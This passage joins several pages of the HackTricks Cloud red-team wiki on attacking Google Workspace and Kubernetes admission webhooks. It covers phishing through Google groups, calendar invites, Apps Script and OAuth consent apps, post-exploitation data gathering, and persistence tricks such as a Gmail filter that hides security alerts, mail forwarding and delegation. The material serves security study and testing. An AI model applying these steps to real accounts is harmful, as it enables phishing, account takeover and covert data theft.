Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. [Phishing Methodology - HackTricks](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) Apparently, by default, in workspace members [**can create groups**](https://groups.google.com/all-groups) **and invite people to them**. You can then modify the email that will be sent to the user **adding some links.** The **email will come from a google address**, so it will look **legit** and people might click on the link. It's also possible to set the **FROM** address as the **Google group email** to send **more emails to the users inside the group**, like in the following image where the group **`google--support@googlegroups.com`** was created and an **email was sent to all the members** of the group (that were added without any consent) ![](../../../images/image (5) (1).png) You might be able to either **start a chat** with a person just having their email address or send an **invitation to talk**. Moreover, it's possible to **create a Space** that can have any name (e.g. "Google Support") and **invite** members to it. If they accept they might think that they are talking to Google Support: ![](../../../images/image (6).png) tip **In my testing however the invited members didn't even receive an invitation.** You can check how this worked in the past in: [https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s) In the past it was possible to create an **apparently legitimate document** and the in a comment **mention some email (like @user@gmail.com)**. Google **sent an email to that email address** notifying that they were mentioned in the document. Nowadays, this doesn't work but if you **give the victim email access to the document** Google will send an email indicating so. This is the message that appears when you mention someone: ![](../../../images/image (7).png) tip Victims might have protection mechanism that doesn't allow that emails indicating that an external document was shared with them reach their email. You can **create a calendar event** and add as many email address of the company you are attacking as you have. Schedule this calendar event in **5 or 15 min** from the current time. Make the event look legit and **put a comment and a title indicating that they need to read something** (with the **phishing link**). This is the alert that will appear in the browser with a meeting title "Firing People", so you could set a more phishing like title (and even change the name associated with your email). ![](../../../images/image (8).png) To make it look less suspicious: * Set it up so that **receivers cannot see the other people invited** * Do **NOT send emails notifying about the event**. Then, the people will only see their warning about a meeting in 5mins and that they need to read that link. * Apparently using the API you can set to **True** that **people** have **accepted** the event and even create **comments on their behalf**. It's possible to create a script in [https://script.google.com/](https://script.google.com/) and **expose it as a web application accessible by everyone** that will use the legit domain **`script.google.com`**. The with some code like the following an attacker could make the script load arbitrary content in this page without stop accessing the domain: javascript function doGet() { return HtmlService.createHtmlOutput( '' ).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL) } For example accessing [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH\_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) you will see: ![](../../../images/image (4) (1).png) tip Note that a warning will appear as the content is loaded inside an iframe. It's possible to create App Scripts attached to documents to try to get access over a victims OAuth token, for more information check: [GWS - App Scripts](gws-app-scripts.html) Any of the previous techniques might be used to make the user access a **Google OAuth application** that will **request** the user some **access**. If the user **trusts** the **source** he might **trust** the **application** (even if it's asking for high privileged permissions). note Note that Google presents an ugly prompt asking warning that the application is untrusted in several cases and Workspace admins can even prevent people accepting OAuth applications. **Google** allows to create applications that can **interact on behalf users** with several **Google services**: Gmail, Drive, GCP... When creating an application to **act on behalf other users**, the developer needs to create an **OAuth app inside GCP** and indicate the scopes (permissions) the app needs to access the users data. When a **user** wants to **use** that **application**, they will be **prompted** to **accept** that the application will have access to their data specified in the scopes. This is a very juicy way to **phish** non-technical users into using **applications that access sensitive information** because they might not understand the consequences. However, in organizations accounts, there are ways to prevent this from happening. As it was mentioned, google will always present a **prompt to the user to accept** the permissions they are giving the application on their behalf. However, if the application is considered **dangerous**, google will show **first** a **prompt** indicating that it's **dangerous** and **making it more difficult** for the user to grant the permissions to the app. This prompt appears in apps that: * Use any scope that can access private data (Gmail, Drive, GCP, BigQuery...) * Apps with less than 100 users (apps > 100 a review process is also needed to stop showing the unverified prompt) [**Here**](https://developers.google.com/identity/protocols/oauth2/scopes) you can find a list of all the Google OAuth scopes. * **cloud-platform**: View and manage your data across **Google Cloud Platform** services. You can impersonate the user in GCP. * **admin.directory.user.readonly**: See and download your organization's GSuite directory. Get names, phones, calendar URLs of all the users. **Start creating an OAuth Client ID** 1. Go to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) and click on configure the consent screen. 2. Then, you will be asked if the **user type** is **internal** (only for people in your org) or **external**. Select the one that suits your needs * Internal might be interesting you have already compromised a user of the organization and you are creating this App to phish another one. 3. Give a **name** to the app, a **support email** (note that you can set a googlegroup email to try to anonymize yourself a bit more), a **logo**, **authorized domains** and another **email** for **updates**. 4. **Select** the **OAuth scopes**. * This page is divided in non sensitive permissions, sensitive permissions and restricted permissions. Eveytime you add a new permisison it's added on its category. Depending on the requested permissions different prompt will appear to the user indicating how sensitive these permissions are. * Both **`admin.directory.user.readonly`** and **`cloud-platform`** are sensitive permissions. 5. **Add the test users.** As long as the status of the app is testing, only these users are going to be able to access the app so make sure to **add the email you are going to be phishing**. Now let's get **credentials for a web application** using the **previously created OAuth Client ID**: 1. Go back to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) , a different option will appear this time. 2. Select to **create credentials for a Web application** 3. Set needed **Javascript origins** and **redirect URIs** * You can set in both something like **`http://localhost:8000/callback`** for testing 4. Get your application **credentials** Finally, lets **run a web application that will use the OAuth application credentials**. You can find an example in [https://github.com/carlospolop/gcp\_oauth\_phishing\_example](https://github.com/carlospolop/gcp_oauth_phishing_example) . bash git clone ttps://github.com/carlospolop/gcp_oauth_phishing_example cd gcp_oauth_phishing_example pip install flask requests google-auth-oauthlib python3 app.py --client-id "" --client-secret "" Go to **`http://localhost:8000`** click on the Login with Google button, you will be **prompted** with a message like this one: ![](../../../images/image (333).png) The application will show the **access and refresh token** than can be easily used. For more information about **how to use these tokens check**: [GCP - Token Persistence](../../gcp-security/gcp-persistence/gcp-non-svc-persistence.html) It's possible to do something using gcloud instead of the web console, check: [GCP - ClientAuthConfig Privesc](../../gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.html) * [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic * [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite? tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Kubernetes ValidatingWebhookConfiguration - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes **The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) ValidatingWebhookConfiguration is a Kubernetes resource that defines a validating webhook, which is a server-side component that validates incoming Kubernetes API requests against a set of predefined rules and constraints. The purpose of a ValidatingWebhookConfiguration is to define a validating webhook that will enforce a set of predefined rules and constraints on incoming Kubernetes API requests. The webhook will validate the requests against the rules and constraints defined in the configuration, and will return an error if the request does not conform to the rules. **Example** Here is an example of a ValidatingWebhookConfiguration: yaml apiVersion: admissionregistration.k8s.io/v1 kind: ValidatingWebhookConfiguration metadata: name: example-validation-webhook namespace: default webhook: name: example-validation-webhook clientConfig: url: https://example.com/webhook serviceAccountName: example-service-account rules: - apiGroups: - "" apiVersions: - "*" operations: - CREATE - UPDATE resources: - pods The main difference between a ValidatingWebhookConfiguration and policies : ![](../../images/Kyverno.png) Kyverno.png * **ValidatingWebhookConfiguration (VWC)** : A Kubernetes resource that defines a validating webhook, which is a server-side component that validates incoming Kubernetes API requests against a set of predefined rules and constraints. * **Kyverno ClusterPolicy**: A policy definition that specifies a set of rules and constraints for validating and enforcing Kubernetes resources, such as pods, deployments, and services $ kubectl get ValidatingWebhookConfiguration As we can see all operators installed have at least one ValidatingWebHookConfiguration(VWC). **Kyverno** and **Gatekeeper** are both Kubernetes policy engines that provide a framework for defining and enforcing policies across a cluster. Exceptions refer to specific rules or conditions that allow a policy to be bypassed or modified under certain circumstances but this is not the only way ! For **kyverno**, as you as there is a validating policy, the webhook `kyverno-resource-validating-webhook-cfg` is populated. For Gatekeeper, there is `gatekeeper-validating-webhook-configuration` YAML file. Both come from with default values but the Administrator teams might updated those 2 files. bash $ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml Now, identify the following output : yaml namespaceSelector: matchExpressions: - key: kubernetes.io/metadata.name operator: NotIn values: - default - TEST - YOYO - kube-system - MYAPP Here, `kubernetes.io/metadata.name` label refers to the namespace name. Namespaces with names in the `values` list will be excluded from the policy : Check namespaces existence. Sometimes, due to automation or misconfiguration, some namespaces might have not been created. If you have permission to create namespace, you could create a namespace with a name in the `values` list and policies won't apply your new namespace. The goal of this attack is to exploit **misconfiguration** inside VWC in order to bypass operators restrictions and then elevate your privileges with other techniques [Abusing Roles/ClusterRoles in Kubernetes](abusing-roles-clusterroles-in-kubernetes/index.html) * [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper) * [https://kyverno.io/](https://kyverno.io/) * [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/) --- # GWS - Workspace Sync Attacks (GCPW, GCDS, GPS, Directory Sync with AD & EntraID) - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 3 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will store **tokens** to access Google Workspace in some places in the PC: Disk, memory & the registry... it's even possible to obtain the **clear text password**. tip Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCPW**, get information about the configuration and **even tokens**. Find more information about this in: [GCPW - Google Credential Provider for Windows](gcpw-google-credential-provider-for-windows.html) This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing). It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time. tip Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**. Find more information about this in: [GCDS - Google Cloud Directory Sync](gcds-google-cloud-directory-sync.html) This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google. It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running). tip Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even the passwords and encrypted credentials**. Find more information about this in: [GPS - Google Password Sync](gps-google-password-sync.html) The main difference between this way to synchronize users with GCDS is that GCDS is done manually with some binaries you need to download and run while **Admin Directory Sync is serverless** managed by Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories) . Find more information about this in: [GWS - Admin Directory Sync](gws-admin-directory-sync.html) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GWS - Post Exploitation - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 4 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. By default in workspace a **group** can be **freely accessed** by any member of the organization. Workspace also allow to **grant permission to groups** (even GCP permissions), so if groups can be joined and they have extra permissions, an attacker may **abuse that path to escalate privileges**. You potentially need access to the console to join groups that allow to be joined by anyone in the org. Check groups information in [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) . If you managed to **compromise a google user session**, from [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) you can see the history of mails sent to the mail groups the user is member of, and you might find **credentials** or other **sensitive data**. [GCP <--> Workspace Pivoting](../gcp-security/gcp-to-workspace-pivoting/index.html) If you have a **session inside victims google account** you can download everything Google saves about that account from [**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none) If an organization has **Google Vault enabled**, you might be able to access [**https://vault.google.com**](https://vault.google.com/u/1/) and **download** all the **information**. From [**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es&tab=mC) you can download all the **contacts** of the user. In [**https://cloudsearch.google.com/**](https://cloudsearch.google.com) you can just search **through all the Workspace content** (email, drive, sites...) a user has access to. Ideal to **quickly find sensitive information**. In [**https://mail.google.com/chat**](https://mail.google.com/chat) you can access a Google **Chat**, and you might find sensitive information in the conversations (if any). When **sharing** a document you can **specify** the **people** that can access it one by one, **share** it with your **entire company** (**or** with some specific **groups**) by **generating a link**. When sharing a document, in the advance setting you can also **allow people to search** for this file (by **default** this is **disabled**). However, it's important to note that once users views a document, it's searchable by them. For sake of simplicity, most of the people will generate and share a link instead of adding the people that can access the document one by one. Some proposed ways to find all the documents: * Search in internal chat, forums... * **Spider** known **documents** searching for **references** to other documents. You can do this within an App Script with [**PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser) In [**https://keep.google.com/**](https://keep.google.com) you can access the notes of the user, **sensitive** **information** might be saved in here. In [**https://script.google.com/**](https://script.google.com/) you can find the APP Scripts of the user. In [**https://admin.google.com**/](https://admin.google.com) , you might be able to modify the Workspace settings of the whole organization if you have enough permissions. You can also find emails by searching through all the user's invoices in [**https://admin.google.com/ac/emaillogsearch**](https://admin.google.com/ac/emaillogsearch) * [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic * [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite? tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GWS - Persistence - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 10 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. caution All the actions mentioned in this section that change setting will generate a **security alert to the email and even a push notification to any mobile synced** with the account. * You can create **filters to hide** security notifications from Google * `from: (no-reply@accounts.google.com) "Security Alert"` * This will prevent security emails to reach the email (but won't prevent push notifications to the mobile) Steps to create a gmail filter (Instructions from [**here**](https://support.google.com/mail/answer/6579) ) 1. Open [Gmail](https://mail.google.com/) . 2. In the search box at the top, click Show search options ![photos tune](https://lh3.googleusercontent.com/cD6YR_YvqXqNKxrWn2NAWkV6tjJtg8vfvqijKT1_9zVCrl2sAx9jROKhLqiHo2ZDYTE=w36) . 3. Enter your search criteria. If you want to check that your search worked correctly, see what emails show up by clicking **Search**. 4. At the bottom of the search window, click **Create filter**. 5. Choose what you’d like the filter to do. 6. Click **Create filter**. Check your current filter (to delete them) in [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters) ![](../../images/image (331).png) * Create **forwarding address to forward sensitive information** (or everything) - You need manual access. * Create a forwarding address in [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop) * The receiving address will need to confirm this * Then, set to forward all the emails while keeping a copy (remember to click on save changes): ![](../../images/image (332).png) It's also possible create filters and forward only specific emails to the other email address. If you managed to **compromise a google user session** and the user had **2FA**, you can **generate** an [**app password**](https://support.google.com/accounts/answer/185833?hl=en) (follow the link to see the steps). Note that **App passwords are no longer recommended by Google and are revoked** when the user **changes his Google Account password.** **Even if you have an open session you will need to know the password of the user to create an app password.** note App passwords can **only be used with accounts that have 2-Step Verification** turned on. It's also possible to **turn off 2-FA or to enrol a new device** (or phone number) in this page [**https://myaccount.google.com/security**](https://myaccount.google.com/security) **.** **It's also possible to generate passkeys (add your own device), change the password, add mobile numbers for verification phones and recovery, change the recovery email and change the security questions).** caution To **prevent security push notifications** to reach the phone of the user, you could **sign his smartphone out** (although that would be weird) because you cannot sign him in again from here. It's also possible to **locate the device.** **Even if you have an open session you will need to know the password of the user to change these settings.** If you have **compromised the account of a user,** you can just **accept** to grant all the possible permissions to an **OAuth App**. The only problem is that Workspace can be configure to **disallow unreviewed external and/or internal OAuth apps.** It is pretty common for Workspace Organizations to not trust by default external OAuth apps but trust internal ones, so if you have **enough permissions to generate a new OAuth application** inside the organization and external apps are disallowed, generate it and **use that new internal OAuth app to maintain persistence**. Check the following page for more information about OAuth Apps: [GWS - Google Platforms Phishing](gws-google-platforms-phishing/index.html) You can just **delegate the account** to a different account controlled by the attacker (if you are allowed to do this). In Workspace **Organizations** this option must be **enabled**. It can be disabled for everyone, enabled from some users/groups or for everyone (usually it's only enabled for some users/groups or completely disabled). If you are a Workspace admin check this to enable the feature (Information [copied form the docs](https://support.google.com/a/answer/7223765) ) As an administrator for your organization (for example, your work or school), you control whether users can delegate access to their Gmail account. You can let everyone have the option to delegate their account. Or, only let people in certain departments set up delegation. For example, you can: * Add an administrative assistant as a delegate on your Gmail account so they can read and send email on your behalf. * Add a group, such as your sales department, in Groups as a delegate to give everyone access to one Gmail account. Users can only delegate access to another user in the same organization, regardless of their domain or their organizational unit. * **Allow users to grant their mailbox access to a Google group** option: To use this option, it must be enabled for the OU of the delegated account and for each group member's OU. Group members that belong to an OU without this option enabled can't access the delegated account. * With typical use, 40 delegated users can access a Gmail account at the same time. Above-average use by one or more delegates might reduce this number. * Automated processes that frequently access Gmail might also reduce the number of delegates who can access an account at the same time. These processes include APIs or browser extensions that access Gmail frequently. * A single Gmail account supports up to 1,000 unique delegates. A group in Groups counts as one delegate toward the limit. * Delegation does not increase the limits for a Gmail account. Gmail accounts with delegated users have the standard Gmail account limits and policies. For details, visit [Gmail limits and policies](https://support.google.com/a/topic/28609) . **Before you begin:** To apply the setting for certain users, put their accounts in an [organizational unit](https://support.google.com/a/topic/1227584) . 1. [Sign in](https://admin.google.com/) to your [Google Admin console](https://support.google.com/a/answer/182076) . Sign in using an _administrator account_, not your current account CarlosPolop@gmail.com 2. In the Admin console, go to Menu ![](https://storage.googleapis.com/support-kms-prod/JxKYG9DqcsormHflJJ8Z8bHuyVI5YheC0lAp)![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)![](https://storage.googleapis.com/support-kms-prod/ocGtUSENh4QebLpvZcmLcNRZyaTBcolMRSyl) **Apps**![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Google Workspace**![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Gmail**![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**User settings**. 3. To apply the setting to everyone, leave the top organizational unit selected. Otherwise, select a child [organizational unit](https://support.google.com/a/topic/1227584) . 4. Click **Mail delegation**. 5. Check the **Let users delegate access to their mailbox to other users in the domain** box. 6. (Optional) To let users specify what sender information is included in delegated messages sent from their account, check the **Allow users to customize this setting** box. 7. Select an option for the default sender information that's included in messages sent by delegates: * **Show the account owner and the delegate who sent the email**—Messages include the email addresses of the Gmail account owner and the delegate. * **Show the account owner only**—Messages include the email address of only the Gmail account owner. The delegate email address is not included. 8. (Optional) To let users add a group in Groups as a delegate, check the **Allow users to grant their mailbox access to a Google group** box. 9. Click **Save**. If you configured a child organizational unit, you might be able to **Inherit** or **Override** a parent organizational unit's settings. 10. (Optional) To turn on Gmail delegation for other organizational units, repeat steps 3–9. Changes can take up to 24 hours but typically happen more quickly. [Learn more](https://support.google.com/a/answer/7514107) After you turn on delegation, your users go to their Gmail settings to assign delegates. Delegates can then read, send, and receive messages on behalf of the user. For details, direct users to [Delegate and collaborate on email](https://support.google.com/a/users/answer/138350) . From a regular suer, check here the instructions to try to delegate your access (Info copied [**from the docs**](https://support.google.com/mail/answer/138350) ) You can add up to 10 delegates. If you're using Gmail through your work, school, or other organization: * You can add up to 1000 delegates within your organization. * With typical use, 40 delegates can access a Gmail account at the same time. * If you use automated processes, such as APIs or browser extensions, a few delegates can access a Gmail account at the same time. 1. On your computer, open [Gmail](https://mail.google.com/) . You can't add delegates from the Gmail app. 2. In the top right, click Settings ![Settings](https://lh3.googleusercontent.com/p3J-ZSPOLtuBBR_ofWTFDfdgAYQgi8mR5c76ie8XQ2wjegk7-yyU5zdRVHKybQgUlQ=w36-h36) ![and then](https://lh3.googleusercontent.com/3_l97rr0GvhSP2XV5OoCkV2ZDTIisAOczrSdzNCBxhIKWrjXjHucxNwocghoUa39gw=w36-h36) **See all settings**. 3. Click the **Accounts and Import** or **Accounts** tab. 4. In the "Grant access to your account" section, click **Add another account**. If you’re using Gmail through your work or school, your organization may restrict email delegation. If you don’t see this setting, contact your admin. * If you don't see Grant access to your account, then it's restricted. 5. Enter the email address of the person you want to add. If you’re using Gmail through your work, school, or other organization, and your admin allows it, you can enter the email address of a group. This group must have the same domain as your organization. External members of the group are denied delegation access. **Important:** If the account you delegate is a new account or the password was reset, the Admin must turn off the requirement to change password when you first sign in. * [Learn how an Admin can create a user](https://support.google.com/a/answer/33310) . * [Learn how an Admin can reset passwords](https://support.google.com/a/answer/33319) . 6\. Click **Next Step** ![and then](https://lh3.googleusercontent.com/QbWcYKta5vh_4-OgUeFmK-JOB0YgLLoGh69P478nE6mKdfpWQniiBabjF7FVoCVXI0g=h36) **Send email to grant access**. The person you added will get an email asking them to confirm. The invitation expires after a week. If you added a group, all group members will become delegates without having to confirm. Note: It may take up to 24 hours for the delegation to start taking effect. If you have a **session inside victims google account** you can browse to the **Play Store** and might be able to **install malware** you have already uploaded to the store directly **to the phone** to maintain persistence and access the victims phone. You can create **time-based triggers** in App Scripts, so if the App Script is accepted by the user, it will be **triggered** even **without the user accessing it**. For more information about how to do this check: [GWS - App Scripts](gws-google-platforms-phishing/gws-app-scripts.html) * [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic * [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite? tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and 